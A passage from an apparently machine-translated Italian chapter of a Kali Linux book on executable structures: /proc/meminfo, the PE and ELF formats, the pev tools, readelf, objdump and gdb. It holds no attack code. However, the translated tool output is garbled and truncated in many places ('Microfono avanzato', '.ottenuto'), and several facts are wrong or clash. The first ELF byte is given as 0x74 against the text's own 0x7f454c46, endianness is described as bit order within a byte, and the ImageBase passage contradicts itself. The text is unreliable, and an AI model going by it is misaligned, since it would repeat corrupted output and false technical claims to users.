bisogno e accedervi. Si aspetta che il sistema operativo si occupi di capire
dove si trova ogni cosa e di fornirla quando necessario.
Se vuoi dare un'occhiata a come un sistema Linux gestisce la memoria,
puoi guardare nello pseudo filesystem /proc . Non è un vero filesystem
perché se dovessi spegnere il sistema, non sarebbe su nessun disco
collegato. Invece, appare popolato quando viene ispezionato. Puoi, ad
esempio, ottenere statistiche sulla memoria disponibile e sull'utilizzo dello
spazio di swap. Puoi vedere il contenuto di questo file da un sistema Kali
Linux nell'Esempio 11-2 .
Esempio 11-2. Contenuto di meminfo
┌──(kilroy@badmilo)-[/proc]
└─$ sudo cat /proc/meminfo
Totale Mem: 8129212 kB
Memoria libera: 1918536 kB
MemDisponibile: 6694812 kB
Buffer: 517924 kB
Memorizzato nella cache: 4049600 kB
Scambio memorizzato nella cache: 0 kB
Attivo: 1639348 kB
Inattivo: 3913732 kB
Attivo(anonimo): 685376 kB
Inattivo(anonimo): 342832 kB
Attivo(file): 953972 kB
Inattivo(file): 3570900 kB
Non sradicabile: 112 kB
Mbloccato: 112 kB
Totale Swap: 999420 kB
Dimensione SwapFree: 999420 kB
Dimensione: 0 kB
Zswapped: 0 kB
Sporco: 236 kB
Riscrittura: 0 kB
AnonPagine: 982196 kB
Mappato: 332152 kB
Dimensione: 42652 kB
KRecuperabile: 455156 kB
Lastra: 540232 kB
SReclamabile: 455156 kB
SUNreclaim: 85076 kB
Dimensioni del kernel: 9072 kB
Tabelle delle pagine: 18796 kB
Tabella delle pagine secondarie: 0 kB
NFS_Instabile: 0 kB
Rimbalzo: 0 kB
Anche nel filesystem /proc ci sono directory per ogni processo in
esecuzione sul sistema; ogni directory è denominata in base al suo numero
di identificazione del processo (PID). Il contenuto della directory mostra ciò
di cui il sistema operativo tiene traccia per ogni processo.
Strutture di programma e processo
Innanzitutto, è utile distinguere tra un processo e un programma, anche se
a volte le parole sono usate apparentemente in modo intercambiabile. Il
modo più semplice per pensare a questo per distinguere uno stato
dall'altro è che un programma è un eseguibile in quanto esiste sul disco.
Una volta che il sistema operativo carica il programma in memoria, la
struttura cambia e diventa un processo. I programmi sono strutturati in
modo da dire al sistema operativo come deve essere inserito in memoria. I
programmi sono in realtà diversi da un sistema operativo all'altro, il che
significa che ogni sistema operativo utilizzerà una diversa struttura di file.
Anche all'interno dei diversi formati per gli eseguibili, ci sono delle
differenze, come risultato delle diverse architetture dei processori. Oggi,
vedrai comunemente programmi in un formato a 64 bit perché i moderni
sistemi operativi hanno larghezze di bus di indirizzi di 64 bit. Il bus è il
modo in cui si accede alla memoria, quindi la larghezza del bus definisce
quanta memoria un sistema può supportare.
Gli eseguibili sono creati in base all'architettura del processore. Ciò include
non solo il tipo di processore, inclusa la famiglia di processori Intel x86, ma
anche i processori ARM. C'è stato un tempo in cui erano disponibili molti
più processori, ma questi sono i più comuni sui sistemi su cui potresti
lavorare. Potresti imbatterti in eseguibili a 32 bit o a 64 bit più
comunemente.
Ciò non significa che il tipo di processore e la larghezza del bus siano gli
unici fattori. Inoltre, devi considerare il sistema operativo. Mentre macOS e
Windows girano entrambi su processori basati su Intel, non eseguirai
direttamente un eseguibile per macOS su Windows, o viceversa. Gli
eseguibili sono racchiusi in un formato di file che indica al sistema
operativo come posizionare i contenuti nella memoria.
Quando si tratta di mettere un processo in memoria dal programma
definito su disco, i formati di file forniscono al caricatore del sistema
operativo una guida su quali siano i diversi elementi del programma. Ciò
includerebbe in genere sezioni che hanno il codice eseguibile, così come
sezioni per i dati che possono essere memorizzati nella versione compilata
del programma, rispetto ai dati che possono essere immessi nel
programma o semplicemente non noti al momento della compilazione.
Ogni sistema operativo ha il suo formato di file per gli eseguibili. Windows
utilizza il formato Portable Executable (PE) e lo fa da Windows NT. Linux
utilizzerà in genere ELF, anche se potresti essere in grado di utilizzare il
vecchio formato a.out (output dell'assembler) che è stato lo standard per
anni su Unix. I sistemi macOS utilizzano Mach-O, così come tutti i
dispositivi mobili Apple che eseguono iOS o iPadOS. Mentre l'intento di
base di ciascuno è lo stesso, il formato e la struttura sono molto diversi.
Questi formati di file funzionano generalmente sia per i file direttamente
eseguibili, ovvero che vengono eseguiti dall'utente, sia per i file che sono
librerie collegate, inclusi contenuti eseguibili che altri programmi possono
includere dinamicamente durante l'esecuzione del programma.
Eseguibile portatile
Il formato Portable Executable (PE) è stato progettato per i sistemi
Windows. Ha continuato a essere utilizzato per i sistemi Windows per oltre
30 anni e supporta più architetture di processori perché Windows NT, un
tempo, era stato creato per funzionare su vari processori anziché essere
limitato principalmente alle architetture basate su Intel come lo è oggi. È
effettivamente un contenitore non solo per il codice eseguibile e i dati
associati, ma anche per i metadati necessari al caricatore del sistema
operativo per sapere dove disporre il programma in memoria. È
considerato portabile perché è indipendente dall'architettura, il che
significa che non è legato a nessuna CPU particolare o persino a una
dimensione di bus. Supporta gli eseguibili a 64 bit così come quelli a 32 bit.
Un file PE per sistemi a 64 bit è generalmente chiamato file PE+.
Il formato file PE si basa sul Common Object File Format (COFF) che è stato
sviluppato per i sistemi Unix ed è anche la base per un altro formato file,
ELF, attualmente utilizzato dai sistemi Linux. Il file PE contiene un set di
intestazioni che sono i metadati per il file, fornendo al loader informazioni
essenziali. Oltre a ciò, ovviamente, ci sono i bit eseguibili e i dati. Queste
informazioni saranno inserite in sezioni.
Nella parte superiore del file PE ci sono le informazioni DOS. Mentre
Windows era originariamente un'interfaccia che girava sopra un altro
sistema operativo, DOS, Windows NT, dove è stato introdotto il file PE, non
era solo un'interfaccia utente ma un ambiente operativo completo che
includeva il kernel NT e l'interfaccia utente di Windows. Tuttavia, poiché ci
si aspettava che i programmi DOS potessero essere eseguiti su Windows
NT, è stata implementata una modalità DOS. Il file PE include
un'intestazione specifica per la modalità DOS e i programmi Windows
hanno un programma stub che stampa il messaggio che questo
programma non verrà eseguito in modalità DOS. Il motivo è che la
modalità DOS non ha la capacità di supportare componenti grafici. Se si
tenta di eseguire un programma Windows PE in modalità DOS, verrà
visualizzato il messaggio e il programma verrà chiuso.
Dopo l'intestazione DOS e il programma stub c'è l'intestazione del file
immagine. Questa intestazione fornisce le informazioni sulla macchina per
garantire che la macchina su cui viene eseguito il programma corrisponda
alla macchina per cui è stato creato il file. Inoltre, l'intestazione del file
immagine contiene informazioni sul contenuto del file, tra cui il numero di
sezioni e il numero di simboli. Un simbolo è essenzialmente un oggetto
denominato, che di solito include nomi di funzioni e nomi di variabili.
L'intestazione del file immagine include anche la dimensione
dell'intestazione opzionale dell'immagine, che è l'intestazione successiva
nel file. Nonostante il nome, non è effettivamente opzionale in un
programma, perché contiene il punto di ingresso. Il punto di ingresso è
l'indirizzo in cui si trova la prima istruzione eseguibile. Il punto di ingresso è
la posizione della prima funzione nel programma. Se hai familiarità con la
programmazione C o altri linguaggi di programmazione basati su C, puoi
pensare a questo come all'indirizzo in cui si trova la funzione principale . Il
punto di ingresso è rilevante solo per un programma, poiché una libreria
non avrebbe un singolo punto di ingresso ma avrebbe invece più punti di
ingresso corrispondenti al numero di funzioni esportate nella libreria.
L'intestazione opzionale Image include anche ImageBase. Questo è
l'indirizzo di base presunto per la memoria. Il sistema operativo è
responsabile dell'assegnazione di indirizzi reali per la memoria fisica, ma
l'applicazione penserà che si trovi a un indirizzo diverso. Tutti gli indirizzi
nel file PE inizieranno con quell'indirizzo di base e utilizzeranno indirizzi
assoluti anziché relativi. Ciò semplifica la prevenzione dei calcoli per
determinare gli indirizzi effettivi dall'indirizzo relativo. In altre parole,
l'indirizzo di partenza non è 0x00000000000000000, quindi tutti gli indirizzi
nel file saranno un offset dalla base, altrimenti noto come indirizzo relativo
. Invece, il compilatore che crea il file presupporrà un indirizzo di partenza
e lo utilizzerà per indirizzare tutte le parti del file. Se il sistema operativo
decide di allocare un altro set di indirizzi virtuali al programma quando
viene eseguito, tutti gli indirizzi nel file dovranno essere modificati per
corrispondere all'indirizzo di base.
L'Image Optional Header indica anche quale sottosistema è in uso. In altre
parole, dirà al sistema operativo se si tratta di un programma grafico, di un
programma console, di un programma conforme a POSIX o forse di
nessuno di questi, nel qual caso non richiede il caricamento di alcun
sottosistema. C'è anche una voce nell'Image Optional Header per la
dimensione dell'immagine. L'"immagine" è dove sono archiviati i bit
eseguibili effettivi.
I bit sono suddivisi in sezioni che definiscono cosa sono. Un file eseguibile
può avere solo un paio di sezioni definite, ma diverse potrebbero essere
utilizzate. Le diverse sezioni indicano al loader in quale segmento di
memoria inserire le informazioni. Ciò includerebbe lo stack, l'heap e
l'eseguibile principale. Le seguenti sono le sezioni che vedresti
comunemente in un file PE:
.testo
La sezione .text è dove vengono archiviati i bit eseguibili. Nei
moderni sistemi operativi, dove i segmenti di memoria possono
avere flag che indicano eseguibile, lettura o scrittura, il contenuto
dovrebbe essere archiviato in un segmento eseguibile.
.dati
Tutti i dati globali o a livello di applicazione noti con valori in fase di
compilazione vengono memorizzati nel segmento .data . Si tratta di
variabili a cui sono stati assegnati valori anziché essere solo
dichiarazioni di una variabile, che non fa altro che allocare spazio in
memoria. Ciò includerebbe anche tutte le stringhe che sono state
utilizzate nel programma.
.s ...
Tutte le variabili che sono state dichiarate ma a cui non è stato
assegnato alcun valore in fase di compilazione vengono
memorizzate qui. Questo è solo spazio di memoria allocato e non ha
alcun contenuto.
.dati
Si tratta di dati di sola lettura, quindi sostanzialmente costanti.
.rsrc
Si tratta di risorse, tra cui l'icona utilizzata per identificare il
programma, nonché tutte le altre immagini utilizzate nel
programma.
Kali Linux include strumenti per estrarre informazioni sul contenuto di un
file PE. Questo set di strumenti è incluso nel pacchetto pev , che è un set di
strumenti basati su testo per analizzare i file PE. Il primo strumento che
possiamo esaminare è pescan , che fornisce alcune informazioni generali,
tra cui le sezioni incluse nel programma. L'esempio 11-3 mostra l'output di
pescan su un semplice programma scritto in C. Questo strumento può
essere utilizzato per cercare marcatori sospetti che potrebbero suggerire
che il campione esaminato sia un malware. Uno di questi è il punto di
ingresso del programma. I programmi dannosi possono utilizzare
programmi stub che comprimono o crittografano il programma effettivo. Lo
stub è solo il decompressore o il decrittografo in cui il programma reale è
archiviato in una sezione .data . Una sezione .data di grandi dimensioni
può essere un indicatore che il programma reale è lì e il codice nella
sezione .text è solo uno stub che verrà sostituito dal codice reale. A volte il
punto di ingresso sarà un simbolo che è noto per essere utilizzato da un
compressore o un crittografo, il che può suggerire che il programma è
potenzialmente dannoso.
Esempio 11-3. output pescan
┌──(kilroy@badmilo)-[~] └─$ pescan sample.exe
file entropia: 4.981127 (normale fpu antidisassemblaggio: no imagebase: sospetto
entrypoint: normale stub DOS: normale directory
TLS: non trovata timestamp: normale conteggio
sezioni: 6 sezioni sezione .text: normale sezione
.rdata: normale sezione .data: piccolo le sezione
.pdata: piccolo le sezione .rsrc: piccolo le
sezione
.reloc: piccolo le
Per ottenere informazioni più dettagliate sul contenuto del file PE, dovresti
usare readpe , che estrae i dettagli da tutte le intestazioni e li stampa in
formati leggibili dall'uomo. L'esempio 11-4 mostra l'output di readpe sullo
stesso programma di esempio. Questo non è l'output completo, che
include molti più dettagli, ma questo set di output scorre la maggior parte
dell'intestazione immagine opzionale, così puoi vedere come apparirebbe
quell'intestazione. Vedrai che il numero magico nell'intestazione DOS è MZ.
Questo è un artefatto dei giorni DOS. Mark Zbikowski è stato uno degli
sviluppatori principali di MS-DOS e questo numero magico è un omaggio a
lui. Un numero magico in questo contesto è solo un identificatore inserito
in un'intestazione di file per identificare chiaramente il file. In questo caso,
identifica l'intestazione DOS come legittima.
Esempio 11-4. Output di readpe su sample.exe
┌──(kilroy@badmilo)-[~]
└─$ readpe sample.exe
Intestazione DOS
Numero magico: 0x5a4d (MZ)
Byte nell'ultima pagina: 144
Pagine nel file: 3
Trasferimenti: 0
Dimensione dell'intestazione nei paragrafi: 4
Paragrafi extra minimi: 0
Numero massimo di paragrafi extra: 65535
Valore SS iniziale (relativo): 0
Valore SP iniziale: 0xb8
Valore IP iniziale: 0
Valore CS iniziale (relativo): 0
Indirizzo della tabella di rilocazione: 0x40
Numero di sovrapposizione: 0
Identificatore OEM: 0
Informazioni OEM: 0
Offset intestazione PE: 0xf0
COFF/Intestazione file
Macchina: 0x8664 IMMAGINE
Numero di sezioni: 6
Timbro data/ora: 1706196794
Offset della tabella dei simboli: 0
Numero di simboli: 0
Dimensione dell'intestazione facoltativa: 0xf0
Caratteristiche: 0x22
Nomi delle caratteristiche
IMMAGINE_FI
IMMAGINE_FI
Intestazione opzionale/immagine
Numero magico: 0x20b (PE32+
Versione principale del linker: 14
Versione minore del linker: 38
Dimensione della sezione .text: 0x1000
Dimensione della sezione .data: 0x2200
Dimensione della sezione .bss: 0
Punto di ingresso: 0x1510
Indirizzo della sezione .text: 0x1000
ImmagineBase: 0x140000000
Allineamento delle sezioni: 0x1000
Fattore di allineamento: 0x200
Versione principale del sistema operativo
richiesto: 6
Versione minore del sistema operativo richiesto:
0
Versione principale dell'immagine: 0
Versione minore dell'immagine: 0
Versione principale del sottosistema: 6
Versione minore del sottosistema: 0
Dimensione dell'immagine: 0x8000
Dimensione delle intestazioni: 0x400
Somma di controllo: 0
Sottosistema richiesto: 0x3 (IMAGE_S
Gli eseguibili usano spesso librerie esterne. Queste sono descritte nel file
PE e la suite di strumenti pev ha uno strumento che elencherà tutte le
librerie esterne di cui l'eseguibile fa uso. Lo strumento è peldd . Elencherà
tutte le dipendenze di libreria richieste dal file PE. L'esempio 11-5 mostra
l'elenco delle librerie dinamiche (DL) utilizzate dall'eseguibile di esempio di
prima.
Esempio 11-5. Output peldd
┌──(kilroy@badmilo)-[~]
└─$ peldd campione.exe
Dipendenze
MSVCP140.dll
Italiano: VCRUNTIME140_1.dll
VCRUNTIME140.dll api-ms-win-crt-runtime-l11-0.dll api-ms-win-crt-math-l1-1-0.dll apims-win-crt-stdio-l1-1-0.dll api-ms-win-crtlocale-l1-1-0.dll api-ms-win-crt-heap-l1-10.dll KERNEL32.dll
Structured Exception Handling (SEH) è un'estensione Microsoft per la
gestione delle eccezioni C++ che consente di gestire in modo controllato
situazioni catastrofiche nel codice. Ciò aiuta a proteggere da crash utilizzati
in modo improprio per controllare il flusso di esecuzione, poiché il
processo di gestione delle eccezioni prenderà il sopravvento, assicurando
che gli errori vengano ripuliti.
I cookie di stack sono un altro possibile modo per proteggersi da un uso
improprio di un buffer overflow. A volte vengono chiamati stack canaries ,
che deriva dalla vecchia abitudine dei minatori di portare un canarino in
una gabbia nelle miniere perché i canarini sono più sensibili degli umani ai
gas nocivi. Se il canarino moriva, era il momento di uscire dalla miniera.
Allo stesso modo, il cookie di stack è un valore che viene inserito nello
stack prima del puntatore di ritorno. Prima di utilizzare il puntatore di
ritorno, il cookie (o canary) può essere testato per assicurarsi che
corrisponda al valore che vi era stato inizialmente inserito. Se i valori non
corrispondono, il cookie è considerato non funzionante, quindi l'indirizzo di
ritorno non dovrebbe essere considerato attendibile. Il programma pesec
può determinare quali di queste funzionalità di sicurezza sono state
utilizzate dal compilatore nella generazione del codice. L'esempio 11-6
mostra che tre delle quattro funzionalità di sicurezza sono state
implementate nel nostro campione.
Esempio 11-6. output pesec
┌──(kilroy@badmilo)-[~]
└─$ pesec sample.exe
ASLR: sì
DEP/NX: sì
SEH: sì
Stack cookie (SPERIMENTALE): no
Programmi aggiuntivi nella suite pev ti daranno diversi sguardi sui
meccanismi interni di un programma PE. Mentre Windows è una
piattaforma dominante e troverai molti eseguibili che sono stati creati per
essa, non è l'unico sistema operativo che esiste.
Formato eseguibile e collegabile
Nei primi giorni di C, gli eseguibili sui sistemi Unix erano scritti in un
formato di file chiamato a.out, per l'output dell'assembler. Ancora oggi, se
non si specifica un nome di file di output a un compilatore C, si può
ottenere un file chiamato a.out . L'esempio 11-7 mostra un file chiamato
a.out dalla compilazione di un programma di esempio usando un
compilatore C++, ma anziché usare il formato a.out , si può vedere che è
un binario Executable and Linkable Format (ELF). Binario è un nome
comune per un programma in Linux.
Esempio 11-7. file a.out
┌──(kilroy@badmilo)-[~]
└─$ ls a.out
a.out
┌──(kilroy@badmilo)-[~]
└─$ file a.out
a.out: ELF 64-bit LSB pie executable, ARM aarch64
linked, interpreter /lib/ld-linux-aarch64.so.1,
BuildID[sha1]=19931f9e541de129129aac6ca74c833e5da
not stripped
ELF è un formato di file sviluppato per i sistemi Unix alla fine degli anni '80.
È un contenitore per eseguibili, come il formato di file PE. Come PE, ha
un'intestazione di file che contiene metadati sul file, tra cui informazioni
come il processore su cui il programma dovrebbe essere eseguito, così
come il sistema operativo di destinazione. Poiché ELF è un formato di file
comune, è utilizzato su numerosi sistemi operativi, così come architetture
hardware. Anche se troverai file ELF su, ad esempio, Linux e FreeBSD, non
sarai in grado di eseguire l'eseguibile ELF o di utilizzare una libreria ELF su
di essi senza ricompilare la sorgente per abbinarla alla destinazione, anche
se il processore è lo stesso. Il motivo è che ogni sistema operativo ha
un'ABI diversa.
L'ABI definisce come vengono gestiti i modi comuni in cui i programmi
interagiscono con il sistema operativo. Ciò può includere definizioni di
chiamate di sistema, quando il programma deve chiamare il sistema
operativo per gestire un'attività che interagisce con l'hardware, incluso
input/output (I/O). Inoltre, un'ABI definirebbe convenzioni di chiamata che
determinano cose come l'ordine dei parametri e se i parametri sono
memorizzati sullo stack o nei registri. Poiché le ABI variano da sistema
operativo a sistema operativo (e talvolta da versione di sistema operativo a
versione di sistema operativo), avere lo stesso formato di file eseguibile
non significa che puoi eseguire un file ELF su un sistema Linux.
L'intestazione del file contiene metadati sul file, nonché informazioni per
aiutare il loader a ottenere il programma in memoria. ELF supporta sia
eseguibili a 32 bit che a 64 bit, quindi gli offset nell'intestazione del file
variano leggermente in base a dove sono archiviate le posizioni di
memoria. La prima voce nell'intestazione del file è il numero magico, che è
il valore che lo identifica come file ELF. Il numero magico in un file ELF è
0x7f454c46. Questo ha 0x74 come byte iniziale seguito dai valori ASCI per
ELF.
Dopo il numero magico, l'intestazione definisce se si tratta di un sistema a
32 o 64 bit, e se il sistema di destinazione è little-endian o big-endian,
definendo l'orientamento dei bit all'interno di un byte (se il bit di
magnitudine più alta è il primo o l'ultimo). Dopo di che viene la versione di
ELF utilizzata (attualmente la versione originale, 1), quindi un byte che
indica il sistema operativo di destinazione. Questo è seguito da eventuali
specifiche ABI che potrebbero essere necessarie. C'è anche un byte che
indica cosa è effettivamente il file. Questo indicherà al loader se è un
eseguibile o una libreria. C'è anche un byte che indica l'architettura del
processore di destinazione. Poiché ELF esiste da oltre 30 anni, può
supportare un numero piuttosto elevato di processori.
Dopo la definizione del file, l'intestazione include l'indirizzo del punto di
ingresso per l'eseguibile, seguito dall'indirizzo dell'intestazione del
programma, che dovrebbe seguire immediatamente l'intestazione del file.
Dopo di ciò c'è l'indirizzo delle intestazioni di sezione, che indicano le
diverse sezioni dell'eseguibile. L'intestazione del programma indica al
caricatore come costruire l'immagine in memoria. Contiene informazioni
sui diversi segmenti del programma e la tabella delle intestazioni del
programma può avere più voci. Ogni voce può essere contrassegnata come
di lettura, scrittura o esecuzione. Ciò può aiutare a proteggere gli eseguibili
ELF dai buffer overflow perché il segmento in memoria dovrebbe essere
contrassegnato come eseguibile. I segmenti dello stack non dovrebbero
essere eseguibili, come indicato in precedenza.
I sistemi Linux, tra cui Kali Linux, in genere includono l'utilità readelf , che
fornisce informazioni sulla struttura e il contenuto di un file ELF. Utilizzando
l'esempio di programma C++ di prima, compilato dal compilatore GNU su
un'implementazione Linux X64, possiamo usare readelf per stampare
l'intestazione ELF, che puoi vedere nell'Esempio 11-8 .
Esempio 11-8. Intestazione ELF da readelf
┌──(kilroy@badmilo)-[~]
└─$ readelf -h campione
intestazione ELF:
Magia: 7f 45 4c 46 02 01 01 00 00 00 00 00 00
Classe: ELF64
Dati: 2's compleme
Versione: 1 (attuale)
OS/ABI: UNIX - Sistema
Versione ABI: 0
Tipo: DYN (Posizione
Macchina: Microfono avanzato
Versione: 0x1
Indirizzo del punto di ingresso: 0x1070
Inizio delle intestazioni del programma: 64 (byte
in
Inizio delle intestazioni di sezione: 14608 (byte
Bandiere: 0x0
Dimensione di questa intestazione: 64 (byte)
Dimensione delle intestazioni del programma: 56
(byte)
Numero di intestazioni del programma: 13
Dimensione delle intestazioni di sezione: 64
(byte)
Numero di intestazioni di sezione: 31
Indice della tabella delle stringhe
dell'intestazione di sezione: 30
Utilizzando readelf , si forniscono switch sulla riga di comando per ottenere
diversi set di informazioni dal file ELF. Oltre all'intestazione ELF, abbiamo le
intestazioni del programma, che sono elencate utilizzando readelf -l , come
si vede nell'esempio 11-9 . Questo è un piccolo set di informazioni fornite
dalle intestazioni del programma su un eseguibile molto piccolo. La
maggior parte delle intestazioni del programma sono state modificate per
motivi di lunghezza. In fondo all'output, tuttavia, c'è la mappatura sezionesegmento, che indica quale numero di segmento è associato a ciascuna
sezione. Nei nomi delle sezioni, vedrai alcuni degli stessi nomi di sezione
che abbiamo visto nel file PE.
Esempio 11-9. Intestazioni del programma da readelf
┌──(kilroy@badmilo)-[~]
└─$ readelf -l campione
Il tipo di file Elf è DYN (Position-Independent
Execution)
Punto di ingresso 0x1070
Ci sono 13 intestazioni di programma, a partire
dall'offset
Intestazioni del programma:
Tipo Offset VirtAddr
Dimensione file Dimensione memoria
Errore 0x0000000000000040 0x00000000000
0x000000000000002d8 0x000000000000
INTERP 0x0000000000000318 0x00000000000
0x0000000000000001c 0x000000000000
[Richiedente interprete del programma: /lib64/ld
CARICA 0x00000000000000000 0x000000000000
0x0000000000000800 0x00000000000
CARICA 0x0000000000001000 0x00000000000
0x00000000000001d1 0x00000000000
<--snip--> Mapping tra
sezione e segmento:
Sezioni del segmento...
00
01
.interpretare
02
.interp .note.gnu.property .note.gnu.bu
.gnu.hash .dynsym .dynstr .gnu.versione
.rela.dyn .rela.plt
03
.init .plt .plt.got .text .fini
04
.rodata .eh_frame_hdr .eh_frame
05
.init_array .fini_array .dynamic .ottenuto
06
.dinamico
07
.nota.gnu.proprietà
08
.note.gnu.build-id .note.ABI-tag
09
.nota.gnu.proprietà
10
.eh_frame_hdr
11
12 .init_array .fini_array .dynamic .ottenuto
Mentre il processore si aspetta di avere indirizzi di memoria per trovare
informazioni, come dove iniziare o continuare l'esecuzione del programma,
a volte vengono usati nomi. Ciò richiede una tabella dei simboli, che
mappa questi nomi a un indirizzo in memoria. Possiamo usare readelf per
ottenere il contenuto della tabella dei simboli. Come prima, esamineremo
solo un piccolo campione della tabella dei simboli. L'esempio 11-10 mostra
una parte della tabella dei simboli memorizzata nella sezione .dynsym . La
tabella dei simboli nella sezione .dynsym contiene variabili globali. Un'altra
tabella dei simboli è memorizzata nella sezione .symtab , che include le
informazioni nella tabella .dynsym .
Esempio 11-10. Tabella dei simboli
┌──(kilroy@badmilo)-[~]
└─$ readelf -s campione
La tabella dei simboli '.dynsym' contiene 12
voci:
Num: Valore Dimensione Tipo Associa Vis
0: 0000000000000000 0 NOTYPE DEF LOCALE
1: 0000000000000000 0 FUNC GLOBALE DEF
2: 0000000000000000 0 FUNC GLOBALE DEF
3: 0000000000000000 0 FUNC GLOBALE DEF
4: 0000000000000000 0 FUNC GLOBALE DEF
5: 0000000000000000 0 FUNC GLOBALE DEF
6: 0000000000000000 0 FUNC GLOBALE DEF
7: 0000000000000000 0 NOTIZIONA DEF DEBOLE
8: 0000000000000000 0 NOTIZIONA DEF DEBOLE
9: 0000000000000000 0 NOTIZIONA DEF DEBOLE
10: 0000000000000000 0 FUNZIONE DEBOLE DEF
11: 0000000000004040 272 OGGETTO DEF GLOBALE
Altri set di output sono disponibili tramite readelf , ma questo è un buon
inizio per farti pensare a cosa puoi guardare. Puoi ottenere un set di
informazioni simile dall'utilità objdump , ma readelf è più dettagliato. Per
farti un'idea della differenza, puoi vedere le intestazioni dei file da objdump
nell'Esempio 11-11 .
Esempio 11-11. Output di objdump
┌──(kilroy@badmilo)-[~]
└─$ objdump -f campione
esempio: formato file elf64-little
architettura: SCONOSCIUTO!, flag
0x00000150: HAS_SYMS, DYNAMIC, D_PAGED
indirizzo di inizio 0x0000000000001070
L'insieme di informazioni fornite da objdump è limitato, specialmente se
confrontato con readelf . Tutto ciò che abbiamo esaminato finora è
informazione statica, ovvero è ciò che è memorizzato nel file e non cambia
nulla. Possiamo esaminare le informazioni dinamiche, tuttavia,
eseguendole. Il modo migliore per farlo è in modo controllato, utilizzando
software specializzato per gestire l'esecuzione.
Debug
Il debug può significare qualsiasi cosa che aiuti a trovare errori nel codice,
ma per i nostri scopi, il debug significa usare un software per valutare
dinamicamente un programma durante l'esecuzione. Un debugger è il
software usato per eseguire il programma entro i vincoli forniti da noi,
l'utente. Usando un debugger, possiamo eseguire il programma fino in
fondo, come se fosse in esecuzione normalmente, ma possiamo anche
fornire punti di arresto e procedere passo passo nel programma istruzione
per istruzione. Inoltre, possiamo usare il debugger per esaminare la
memoria del programma per ottenere dati così come sono in base allo
stato durante l'esecuzione.
Il debugger principale utilizzato in Linux è gdb . Questo è il debugger GNU.
Potrebbe non essere installato di default su Kali, ma puoi facilmente
risolvere il problema eseguendo sudo apt install gdb . Il debug dei
programmi è un'abilità che richiede tempo per essere padroneggiata,
specialmente quando si usa un debugger che è così denso di funzionalità
come gdb . Anche con un debugger GUI, come ddd , che è un overlay GUI
su gdb , ci vuole un po' di tempo per abituarsi a eseguire il programma e
ispezionare i dati nel programma in esecuzione. Più un programma è
complesso, più funzionalità puoi usare, il che aumenta la complessità del
debug.
Per sfruttare al meglio il debugger, il tuo programma dovrebbe avere
simboli di debug compilati nell'eseguibile. Ciò aiuta il debugger a fornire
molte più informazioni di quante ne avresti altrimenti. Avrai un riferimento
al codice sorgente dall'eseguibile. Quando hai bisogno di impostare punti
di interruzione, indicando al debugger dove interrompere il programma,
puoi basare il punto di interruzione sul codice sorgente. Se il programma
dovesse bloccarsi, otterresti un riferimento alla riga nel codice sorgente.
L'unica area in cui non otterrai dettagli aggiuntivi è in nessuna libreria che
viene inserita nel programma. Ciò include le funzioni della libreria C
standard.
Puoi eseguire un programma tramite il debugger sulla riga di comando, ma
puoi anche caricare il programma dopo aver avviato il debugger. Per
eseguire il nostro esempio di programma nel debugger, eseguiremmo
semplicemente gdb sample sulla riga di comando. Per assicurarti di avere i
simboli di debug, aggiungeresti -g alla riga di comando quando compili il
programma. L'esempio 11-12 mostra l'avvio del debugger con l' esempio di
programma che ha i simboli di debug compilati nell'eseguibile.
Esempio 11-12. Esecuzione del debugger
┌──(kilroy@badmilo)-[~]
└─$ gdb esempio
Il database GNU GDB è disponibile solo in lingua
inglese.
Copyright (C) 2023 Fondazione per il software
libero, Inc.
Licenza GPLv3+: GNU GPL versione 3 o successiva
<http
Questo è software libero: sei libero di cambiare
e
NON VI È ALCUNA GARANZIA, nella misura consentita
da
Digitare "show copying" e "show warrantie" per i
dettagli. Questo GDB è stato configurato come
"aarch64-linux-gnu".
Digitare "show configuration" per i dettagli
della configurazione. Per istruzioni sulla
segnalazione dei bug, vedere:
<https://www.gnu.org/software/gdb/bugs/>.
Trova il manuale GDB e altre risorse di
documentazione
<http://www.gnu.org/software/gdb/documentatio
Per assistenza, digita "help".
Digitare "apropos word" per cercare i comandi
correlati. Lettura dei simboli dal campione...
(Nessun simbolo di debug trovato nel campione)
(gdb)
Ora il programma è caricato nel debugger; non è ancora in esecuzione. Se
eseguiamo il programma, verrà eseguito fino al completamento
(supponendo che non vi siano errori) e non avremo alcun controllo sul
programma o informazioni su cosa sta accadendo. L'esempio 11-13
imposta un punto di interruzione in base al nome di una funzione.
Potremmo anche usare un numero di riga e un file sorgente per
identificare un punto di interruzione. Il punto di interruzione indica dove il
programma dovrebbe interrompere l'esecuzione.
Per avviare il programma, utilizziamo il comando run in gdb . Una cosa che
potresti notare in questo output è che fa riferimento al file sample.cpp .
Quello era il file sorgente utilizzato per creare l'eseguibile. Quando indichi
il nome del file eseguibile utilizzando -o con gcc , non deve avere nulla a
che fare con i nomi dei file sorgente, anche se in questo caso il file sorgente
è denominato effettivamente come l'eseguibile. È prassi comune in Linux (e
Unix prima di lui) non utilizzare un'estensione per i file eseguibili.
Esempio 11-13. Impostazione di un punto di interruzione in gdb
(gdb) interruzione principale
Punto di interruzione 1 a 0x117c: file
sample.cpp, riga 14
(gdb) eseguire
Avvio del programma: /home/kilroy/sample
[Debug del thread tramite libthread_db abilitato]
Utilizzo della libreria host libthread_db
"/lib/x86_64-linu
Punto di interruzione 1, principale (argc=1,
argv=0x7fffffffe298)
14
(gdb)
int valore = 0;
Una volta che il programma è stato arrestato, ne abbiamo il controllo
completo. Nell'esempio 11-13 , vedrai il controllo del programma, che lo
esegue una riga alla volta. Vedrai l'uso di entrambi step e next . Questi
comandi sono diversi, anche se possono sembrare uguali. Entrambi
eseguono l'operazione successiva nel programma. La differenza è che con
step , il controllo segue ogni funzione che viene chiamata. Se usi next ,
vedrai la funzione chiamata senza entrare in essa. La funzione viene
eseguita normalmente; semplicemente non vedi ogni operazione
all'interno della funzione. Se non vuoi continuare a scorrere il programma
una riga alla volta, usi continue per riprendere l'esecuzione normale.
Questo programma ha un errore di segmentazione che deriva dal buffer
overflow. Nell'esempio 11-14 , usando step porta l'esecuzione nella
funzione addMe . Per eseguire questo tipo di debug, devi aggiungere
simboli di debug durante la compilazione, usando l'opzione della riga di
comando -g quando il programma viene compilato. Senza questo, potresti
non conoscere i nomi delle funzioni. Qui vedrai che i nomi delle funzioni
sono noti e usati, a causa dei simboli di debug. La maggior parte dei
programmi, a meno che tu non abbia il controllo sulla sorgente, non avrà
simboli di debug.
Esempio 11-14. Esecuzione di un programma in gdb
(gdb) step
16
cout << "The value requested is " <<
(gdb) step
addMe (x=915, y=342) at sample.cpp:8
8
return x + y;
(gdb) continue
Continuing.
The value requested is 1257
[Inferior 1 (process 313571) exited normally ]
